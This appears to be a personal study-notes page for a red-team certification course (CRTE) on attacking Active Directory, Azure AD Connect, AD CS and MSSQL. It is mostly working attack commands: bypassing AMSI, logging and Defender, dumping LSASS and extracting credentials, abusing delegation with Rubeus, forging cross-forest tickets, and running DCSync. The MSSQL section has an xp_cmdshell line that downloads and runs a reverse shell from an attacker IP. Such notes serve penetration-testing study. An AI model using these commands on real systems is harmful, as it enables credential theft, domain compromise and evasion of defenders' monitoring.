CRTE Notes

CRTE Notes

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CRTE Notes

These notes are a continuation of CRTP (Certified Red Team Professional) Notes.

Table of Contents

This course is made for assumed breach scenarios.

PowerShell Bypasses

InvisiShell

  • InvisiShell bypasses system-wide transcription, PowerShell AMSI, and script-block logging
  • use RunWithRegistryNonAdmin.bat instead of RunWithPathAsAdmin.bat
    • modifies HKCU which is less detected than HKLM
  • RunWithPathAsAdmin.bat modifies HKLM
    • heavy detection on HKLM-based keys
  • run exit command when you are done to clean up

AV Signature Bypass

  • use AMSITrigger to identify what in your script is triggering AMSI
    • AmsiTrigger_x64.exe -i C:\PATH\TO\script.ps1
  • use DefenderCheck to identify what is triggering Defender
    • DefenderCheck.exe C:\PATH\TO\script.ps1
  • minimize obfuscation and focus more on signature detection, modifying detected malicious code, string manipulation, etc.
    • the more a binary is obfuscated, the more suspicious it looks

Azure AD

Can be integrated with on-prem AD using AD connect using one of the methods:

  1. Password Hash Sync (PHS)
    • all creds of on-prem is hashed and synced with Azure AD
  1. Pass-Through Authentication (PTA)
    • Azure AD forwards creds to on-prem AD
      • on-prem checks if cred is valid or not, this result is returned to Azure AD, and Azure AD either allows user to access Azure resources or not
  1. Federation
    • SAML based auth worklow
  • contains high-privileged account called MSOL_<RANDOM_ID> that performs a DCSync every two minutes
    • creds for this account stored in clear-text

Attacking PHS

  • will not get detected by MDI if you DCSync using the MSOL_ user, as this user is typically on the exclusion list of MDI due to its frequent DCSync

Get User and Extract Creds

# PowerView
Get-DomainUser -Identity "MSOL_*" -Domain 0xd4y.local 

# AD Module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Server 0xd4y.local -Properties * | select SamAccountName,Description | fl

# Source ADConnect PS Script
. .\adconnect.ps1

# Extract creds of MSOL_<ID> user
ADConnect

# Run CMD instance as MSOL_<ID> user
runas /user:0xd4y.local\MSOL_<ID> /netonly cmd
  • note adconnect.ps1 runs powershell.exe , so verbose logs are present
    • ensure to modify this script’s code and run within Invisi-Shell to potentially bypass these logs

Enumeration

General

  • recommended to use AD PowerShell Module
    • signed by MS and therefore works in CLM
    • less suspicious
  • can use SharpView (PowerView written in C#)
    • cannot use pipes
CommandDescription
(Get-DomainPolicyData).systemaccessUse to get policy for tickets
Get-DomainGPOComputerLocalGroupMappingGet users that are in a local group for specified machine (use -Identity to specify machine)
Get-DomainObjectACL -ResolveGUIDsEnumerate ACL for specific object
Get-ADGroup -Filter * -searchbase "OU=Mgmt,DC=us,DC=techcorp,DC=local" -Properties *Get members in group in a specific OU
net view \\some_server.localEnumerate shares on some_server
(Get-ADForest).Domains| %{Get-ADDomain -Server $_}|select name, domainsidGet SID of all child forests and root forest in current forest
Get-DnsServerZone -ZoneName some_forest.local |fl *Get IP addresses of DCs in target (note you can also ping the DCs to find the IP if you already know the DC names)
$env:UserDNSDomainGet current forest name
  • ensure that you do not breach ticket policies when forging/modifying a ticket for persistence!

AppLocker, WDAC, and Tamper Protection

  • can enumerate AppLocker rules with Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
  • can enumerate WDAC with Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
  • check tamper protection with Get-MpComputerStatus|select IsTamperProtected
    • note tamper protection is on by default on Windows Server 2019, 2022, and 1803 or later among other servers

Misc

  • use Get-ADTrust -Filter 'intraForest -ne $True' -Server (Get-ADForest).Name to map all trusts of current forest
  • use (Get-ADForest).Domains | %{Get-ADTrust -Filter '(intraForest -ne $True) -and (ForestTransitive -ne $True)' -Server $_} to map all external trusts
    • can be done also with PowerView’s Get-ForestDomain -Verbose | Get-DomainTrust | ?{$_.TrustAttributes -eq 'FILTER_SIDS'}

Domain Privilege Escalation

LAPS

Provides centralized storage of local user passwords and periodically rotates passwords. Helps mitigate lateral movement by stopping reuse of passwords.

  • check if ms-mcs-admpwd attribute is visible with Get-DomainComputer | Select-Object 'dnshostname','ms-mcs-admpwd' | Where-Object {$_."ms-mcs-admpwd" -ne $null}
  • can also use Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {($.ObjectAceType -like 'ms-Mcs-AdmPwd') -and ($.ActiveDirect oryRights -match 'ReadProperty')} | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $.SecurityIdentifier);$} from PowerView to find OUs where LAPS is in use
  • use ADModule’s Get-ADComputer -Identity 0xd4y_machine -Properties ms-mcs-admpwd | select -ExpandProperty ms-mcs-admpwd or PowerView’s Get-DomainObject -Identity 0xd4y_machine | select -ExpandProperty ms-mcs-admpwd to get clear-text password of ms-mcs-admpwd attribute

With the creds, you can then do:

winrs -r:0xd4y-machine -u:.\Administrator -p:'$ubscr1beTo0xd4y' hostname 
net use x: \\0xd4y-machine\C$\Users\Public /user:notes\Administrator '$ubscr1beTo0xd4y'

## Then copy the files you need (e.g. NetLoader), perform port-forwarding, and load whatever you want

gMSA

  • provides password management, password rotation (every 30 days), and management of SPNs and delegated administration for service accounts
  • helps protect against Kerberoast attacks
  • can potentially read the gMSA password from the msds-ManagedPassword attribute (stored in binary form of MSDS-MANAGEDPASSWORD_BLOB)
    • must be explicitly allowed to do so (not even Domain Admins can read this by default)
CommandDescription
Get-ADServiceAccount -Filter *Get all gMSA accounts (denoted with the object class msDS-GroupManagedServiceAccount)
Get-ADServiceAccount -Identity gmsa_account_0xd4y -Properties * | select PrincipalsAllowedToRetrieveManagedPasswordGet users that can read the msds-ManagedPassword attribute

Converting gMSA Password to NTLM Hash

$PasswordBlob = (Get-ADServiceAccount -Identity 0xd4y -Properties msDS-ManagedPassword).'msDS-ManagedPassword'
Import-Module C:\PATH\TO\DSInternals.psd1
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $PasswordBlob 
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword

Golden gMSA

  • an attack in which gMSA is calculated offline using the KDS root key object
    • only DAs, EAs, and SYSTEM can retrieve KDS root key

Constrained Delegation - Kerberos Only

S4U2Self does not work because it does not have TRUSTED_TO_AUTH_FOR_DELEGATION configured

  • leverage resource-based constrained delegation (RBCD)
    1. Create new machine account
    1. Configured RBCD on machine
    1. Get TGS for machine using new machine account
    1. Request forwardable TGS using the previous TGS

Getting access to target_machine from original_machine

# Get machines with constrained delegation
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

# Create new machine accouunt (use Powermad.ps1)
New-MachineAccount -MachineAccount new_machine_account

# Inject original machine account TGT in session
Rubeus.exe asktgt /user:machine_account$ /aes256:<MACHINE_ACCOUNT_AES256_KEY> /impersonateuser:Administrator /domain:notes.0xd4y.local /ptt /nowrap

# Configure TRUST_TO_AUTH_FOR_DELEGATION
Set-ADComputer -Identity original_machine_account$ -PrincipalsAllowedToDelegateToAccount new_machine_account$ 

# Convert password of new machine account to NTLM hash
Rubeus.exe hash /password:new_machine_account_pass

# Get TGS for service
Rubeus.exe s4u /impersonateuser:Administrator /user:new_machine_account$ /rc4:<NTLM_HASH> /msdsspn:cifs/original_machine.notes.0xd4y.local /nowrap

# Inject TGS in current session
Rubeus.exe s4u /tgs:<TGS> /user:original_machine_account$ /aes256:<MACHINE_ACCOUNT_AES256_KEY> /msdsspn:cifs/target_machine.notes.0xd4y.local /altservice:http /nowrap /ptt
  • use winrs instead of PSRemoting to evade certain logging: winrs -remote:0xd4y_server -u:notes\0xd4y -p:Pl3as3Subscr1b3 <COMMAND>
    • can evade system-wide transcripts and deep script block logging

With credentials, execute commands on remote machine like this:

$creds = Get-Credential
Invoke-Command -Credential $creds -ScriptBlock {whoami} -Computer 0xd4y_machine
  • use opassth with SafetyKatz (instead of pth) and aes256 instead of ntlm to prevent detections by MDI
    • starts PowerShell session with logon type 9 just like runas /netonly
    • note opassth is just the command specific to the modified Mimikatz version in the CRTE lab (modified version of pth)

GenericWrite on Computer

  • with GenericWrite or GenericAll on a computer, you can enable constrained delegation to laterally move

Enabling Constrained Delegation

# Enabled resource-based constrained delegation on target machine
Set-ADComputer -Identity target_machine -PrincipalsAllowedToDelegateToAccount owned_machine_account$

# Get hash of owned machine account
SafetyKatz "sekurlsa::ekeys" 

# Get TGS for HTTP service by impersonating Admin
Rubeus.exe s4u /user:owned_machine_account$ /aes256:<owned_machine_account_hash> /msdsspn:http/target_machine /impersonateuser:Administrator /ptt

Shadow Credentials

  • leverages msDS-KeyCredentialLink attribute to authenticate as another user or computer account
    • attribute used when Windows Hello for Business (WHfB) is configured
  • msDS-KeyCredentialsLink attribute contains raw public keys of certificate, and will still work even if the credentials of the user or computer account are modified
  • only Key Admins and Enterprise Key Admins, or users with GenericAll or GenericWrite are allowed to modify the msDS-KeyCredentialsLink attribute on a target user

To abuse Shadow Credentials:

  1. AD CS should be configured or a Key Trust should be present
  1. PKINIT should be supported
  1. At least one DC with Windows Server 2016 or above
  1. Need GenericWrite or GenericAll permissions on target object

Adding Shadow Credentials

# Add Shadow Credential on target object
Whisker.exe add /target:0xd4y_target_user

# Check if msDS-KeyCredentialsLink attribute present on target (use Get-DomainComputer in case of a computer account)
Get-DomainUser -Identity 0xd4y_target_user 

Certificate Service

  • certificate can be used for authentication, encryption, signing, etc.
  • check for certificates stored in local machine with ls cert:\LocalMachine\My and then export it with ls cert:\LocalMachine\My\<THUMBPRINT> | Export-PfxCertificate -FilePath C:\PATH\TO\SAVE\cert.pfx -Password (ConvertTo-SecureString -String 'SubscribeTo0xd4y' -Force -AsPlainText)
    • then request TGT using Rubeus.exe asktgt /user:pawadmin /certificate:cert.pfx /password:SubscribeTo0xd4y /nowrap /ptt

AD CS can be abused to:

  1. Extract user and machine certificates
  1. Retrieve NTLM hashes
  1. User and machine level persistence
  1. Escalation to DA and EA
  1. Domain persistence
  • can use certify.exe to find misconfigured templates (certify.exe find)
    • note that the /vulnerable flag only shows certificates in which domain users or default users group has enrollment rights

Common misconfigurations:

  1. CA or target templates gives low-privileged user enrollment rights
  1. Manager approval is disabled
  1. Authorization signatures not required

Escalating to DA from CERT

# Get information for certs with msPKI-Certificates-Name-Flag set to ENROLLEE_SUPPLIES_SUBJECT
Certify.exe find /enrolleeSuppliesSubject

# Request cert, save text between BEGIN RSA PRIVATE KEY and END CERTIFICATE to a file (e.g. cert.pem)
Certify.exe request /ca:<CA_NAME> /template:<CERT_TEMPLATE> /altname:Administrator 

# Convert to pfx and name password as Follow0xd4y
openssl.exe pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx

# Request TGT
Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx /password:Follow0xd4y /nowrap /ptt

Misc

  • may be able to add yourself to a group with Add-ADGroupMember -Identity "MachineAdmins" -Members "0xd4y"

File transferring with creds

# Create shared folder between target machine (notes-0xd4y) and local machine
net use x: \\notes-0xd4y\C$\Users\Public /user:Administrator Pl34s3Subscr1be

# Copy files to target machine
echo F | xcopy C:\PATH\TO\Loader.exe x:\Loader.exe
echo F | xcopy C:\PATH\TO\SafetyKatz.exe x:\SafetyKatz.exe

# Delete shared folder
net use x: /d
  • check if you have local admin access on another machine with Find-PSRemotingLocalAdminAccess
  • can spawn new instance with compromised creds using Rubeus: ./Rubeus.exe asktgt /domain:notes.0xd4y.local /user:0xd4y /aes256:<AES256_KEY> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt

Lateral Movement Using PSRemoting

$passwd = ConvertTo-SecureString 'Follow0xd4y' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("notes\0xd4y", $passwd)
$session = New-PSSession -ComputerName some_machine -Credential $creds

Cross-Forest Attacks and Privescs

Kerberoast

It is possible to perform kerberoast attacks across forest trusts

# PowerView
Get-DomainTrust | ?{$_.TrustAttributes -eq 'FILTER_SIDS'} | %{Get-DomainUser -SPN -Domain $_.TargetName}

# AD Module
Get-ADTrust -Filter 'IntraForest -ne $true' | %{Get-ADUser -Filter {ServicePrincpalName -ne "$null"} -Properties ServicePrincipalName -Server $_.Name}

# Get TGS of target user using only PS
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList some_svc/eu-file.eu.local@eu.local
tasklist.exe /FI "IMAGENAME eq lsass.exe"
rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump <LSASS_PID> C:\PATH\TO\SAVE\lsass.dmp full
## Can also just do rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump (Get-Process lsass).id C:\PATH\TO\SAVE\lsass.dmp full

Constrained Delegation

Can abuse constrained delegation across forests if you already have a foothold across a forest trust.

# PowerView 
Get-DomainUser -TrustedToAuth -Domain target_forest.local
Get-DomainComputer -TrustedToAuth -Domain target_forest.local

# AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo -Server target_forest.local

# Get creds for compromised user and request ldap altservice
./Rubeus.exe s4u /user:<OWNED_USER> /aes256:<OWNED_USER_HASH> /impersonateuser:administrator /msdsspn:CIFS/some_machine.other_forest.local
/altservice:LDAP /domain:other_forest.local /dc:some-dc.other_forest.local /ptt

# DCSync
./SharpKatz.exe --Command dcsync --user other_forest\krbtgt --Domain other_forest.local --DomainController some-dc.other_forest.local
  • note that use of AES256 may not work across forests as it depends on whether or not AES encryption is supported

Unconstrained Delegation

  • TGT delegation must be enabled across trust (disabled by default)
    • check this with netdom trust trustingforest /domain:other_forest.local /EnableTgtDelegation
    • note this can also be checked with Get-ADTrust -server other_forest.local -Filter * although it could output false negatives and is less reliable in older versions (ensure you are using the right version of the AD Module which fixes this bug)

Trust Key

  • SID Filtering occurs between forests so that one forest cannot request any resource as an EA or DA for another forest
    • to access resources in trusting domain, SID filtering must be deactivated
  • all RIDs between and including 500 and 1000 are stripped (check CRTP notes for more in-depth)
  • with /enablesidhistory:yes you can attempt to access resources accessible to the specified RID as long as RID > 1000
  • if Get-ADTrust -Filter * shows that the SIDFilteringForestAware attribute is True, then SIDHistory filtering is enabled across the forest trust

Getting Access to Other Groups

# Get groups in other_forest.local with RID > 1000
Get-ADGroup -Filter 'SID -ge "S-1-5-21-<ID>-1000"' -Server other_forest.local

# Forge inter-realm TGT using group
./BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:0xd4y.local /sid:S-1-5-21-<ID> /rc4:<TRUST_TICKET_HASH> /service:krbtgt /target:other_forest.local /sids:S-1-5-21-<ID>-<RID> /ticket:C:\PATH\TO\SAVE\output.kirbi" "exit"

# Get TGS for service
./Rubeus.exe asktgs /ticket:C:\PATH\TO\output.kirbi /service:HTTP/some_machine.other_forest.local /dc:some-dc.other_forest.local /ptt

Foreign Security Principal (FSP)

  • allows external forests trust or special identities (e.g. Authenticated Users, Enterprise DCs, etc.) to be added to domain local security groups (for example Authenticated Users)
  • can be enumerated with PowerView’s Find-ForeignGroup or Find-ForeignUser, or with AD Module’s Get-ADObject -Filter {objectClass -eq "foreignSecurityPrincipal"}
    • then enumerate the group with Get-ADGroup -Filter * -Properties Member -Server other_forest.local | ?{$_.Member -match '<SID>'}
    • can also do Get-DomainUser -Domain other_forest.local | ?{$_.ObjectSid -eq '<SID>'} to find user with particular SID

ACLs

  • ACLs may grant certain principals to access resources or have GenericAll or GenercWrite on identities cross-forest (principals added to these ACLs are not displayed in the ForeignSecurityPrincipals container)
    • only principals in a domain local security group are in the ForeignSecurityPrincipals container
  • with GenericAll you can reset a user’s password with Set-DomainUserPassword -Identity 0xd4y -AccountPassword (ConvertTo-SecureString 'Follow0xd4y' -AsPlainText -Force) -Domain other_domain.local

PAM Trust

  • usually enabled between Bastion or Red Forest and prod/user forest
  • allows high-privileged access to prod forest without needing credentials from a bastion forest
    • requires the creation of Shadow Principals in bastion domain that are mapped to DA or EA in prod forest
Get-ADTrust -Filter *
Get-ADObject -Filter {objectClass -eq "foreignSecurityPrincipal"} -Server bastion.local

# Enumerate if PAM trust exists
$bastiondc = New-PSSession bastion-dc.bastion.local
Invoke-Command -ScriptBlock {Get-ADTruzst -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}} -Session $bastiondc

# Check members of Shadow Principals
Invoke-Command -ScriptBlock {Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl} -Session $bastiondc

# Configure WSMan to allow PSRemoting via IP Address
Set-Item WSMan:\localhost\Client\TrustedHosts * -Force

# PSRemote into prod_forest
Enter-PSSession <PROD_FOREST_IP_ADDRESS> -Authentication NegotiateWithImplicitCredential
  • note when PSRemoting using an IP address, you must use NTLM authentication
  • you can then use Copy-Item -Path C:\Windows\System32\lsass.exe -FromSession $prodsession -Destination 'C:\Users\Administrator\lsass.exe' to copy the lsass.exe file on the remote session to the local machine

MSSQL

Use Invoke-SQLAudit to find misconfigurations in SQL server

Getting Shell on SQL Instance

  • run this command from PowerUpSQL to get a reverse shell on target_machine Get-SQLServerLinkCrawl -Instance us-mssql -Query 'exec master..xp_cmdshell ''powershell.exe -c "iex(iwr -UseBasicParsing <ATACKER_IP>/amsibypass.txt);iex(iwr -UseBasicParsing <ATACKER_IP>/sbloggingbypass.txt);iex(iwr -UseBasicParsing <ATACKER_IP>/reverse.ps1)"''' |select -ExpandProperty CustomQuery
    • this requires rpcout and xp_cmdshell to be enabled on the SQL machine
    • can manually enabled rpcout and xp_cmdshell on a SQL node as long as the user on which the target node is run is high-privileged (such as sa [system administrator])
  • use Get-SQLInstanceDomain | Get-SQLServerInfo to get information for SQL instances in current forest

Enable RPC on SQL machine

Invoke-SqlCmd -Query "exec sp_serveroption @server='target-sqlsrv', @optname='rpc', @optvalue='TRUE'"
Invoke-SqlCmd -Query "exec sp_serveroption @server='target-sqlsrv', @optname='rpc out', @optvalue='TRUE'"
Invoke-SqlCmd -Query "EXECUTE ('sp_configure ''show advanced options'',1;reconfigure;') AT ""target-sqlsrv"""
Invoke-SqlCmd -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure') AT ""target-sqlsrv"""

User Impersonation

May be possible to impersonate other users within an SQL instance if given the IMPERSONATE privilege and EXECUTE AS function.

  • to find users you can impersonate, run Get-SQLquery -Instance target-sqlsrv -Query "SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'"
  • use SQLRecon.exe for impersonation, as they have modules meant exactly for such a scenario

Performing Impersonation with SQLRecon

# Enabling advanced options
SQLRecon.exe -a Windows -s target-sqlsrv -m iquery -i sa -o "EXEC sp_configure 'show advanced options',1 RECONFIGURE"

# Enabling xp_cmdshell
SQLRecon.exe -a Windows -s target-sqlsrv -m iquery -i sa -o "EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE"

# Running whoami on target
SQLRecon.exe -a Windows -s target-sqlsrv -m iquery -i sa -o "EXEC master..xp_cmdshell 'whoami'"
  • note that you can also use PowerView’s Get-SQLquery -Instance target-sqlsrv -Query "EXECUTE AS LOGIN = 'sa' EXEC master..xp_cmdshell 'whoami'"

Offensive .NET

ProsCons
System.Management.Automation.dll lacks some security features for .NET applications / binariesPotentially detected by AV / EDR
Harder to deliver payload (need additional script for loading it into memory)
New process creation, can be detected by blue team
  • use NetLoader to deliver binary payloads and execute it directly in memory while bypassing AMSI & ETW by patching them
  • NetLoading an unsigned binary such as SafetyKatz may not work if WDAC is enabled, which would result in an error such as The system cannot execute the specified program (check with Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard)
    • use rundll32.exe to dump the LSASS process and then exfiltrate it (detected by Defender so make sure to turn it off with Set-MpPreference -DisableRealTimeMonitoring $true)
    # Get lsass PID
    tasklist /FI "IMAGENAME eq lsass.exe"
    
    # Suppose the lsass pid is 716
    rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump 716 C:\PATH\TO\SAVE\lsass.dmp full
    
    # Copy lsass.dmp to current machine
    echo F | xcopy \\target_machine\C$\PATH\TO\lsass.dmp C:\PATH\TO\SAVE\lsass.dmp
    
    # Dump creds from lsass.dmp
    sekurlsa::minidump C:\PATH\TO\lsass.dmp 
    sekurlsa::ekeys

Best Practices

  • set Account is sensitive and cannot be delegated for sensitive accounts
  • never run services with DA privileges

Privileged Administrative Workstation (PAWs)

  • workstation for performing sensitive tasks
  • provides protection against attacks such as phishing , OS vulnerabilities, and credential replay attacks

Just Enough Administration (JEA)

  • role-based access control for PS remote delegation administration
  • restricts non-admin users to remotely connect to machine for specific administrative tasks
    • can control command user runs and parameters
  • PS transcription and logging is enabled on JEA endpoints

Tools

  1. BloodHound
    • useful for enumeration in penetration tests (finding exploitation pathways)
  1. PowerSploit
    • PowerView and PowerUp
      • useful for enumeration and finding / exploiting privesc pathways
  1. ADModule
    • enumeration - signed by Microsoft
  1. PowerUpSQL
    • toolkit for attacking SQL servers
  1. PowerShdll, nopowershell, and Invisi-Shell
    • useful for bypassing some PowerShell defenses, logging, and staying stealthy
  1. NetLoader
    • used for loading executables from memory while bypassing EDR solutions
  1. SpoolSample
    • contains binary (MS-RPRN.exe) used for abusing print spooler bug
  1. Certify
    • AD CS exploitation
  1. Rubeus
    • Kerberos abuse
  1. SQLRecon
    • SQL impersonation and exploiting SQL misconfigurations
  1. Ligolo-ng
    • Tunneling/pivoting

References

  1. CRTE Course
    • main source
  1. https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/prevent-changes-to-security-settings-with-tamper-protection?view=o365-worldwide
    • tamper protection
  1. https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/
    • SQL impersonation
    • Exploiting SQL server misconfigurations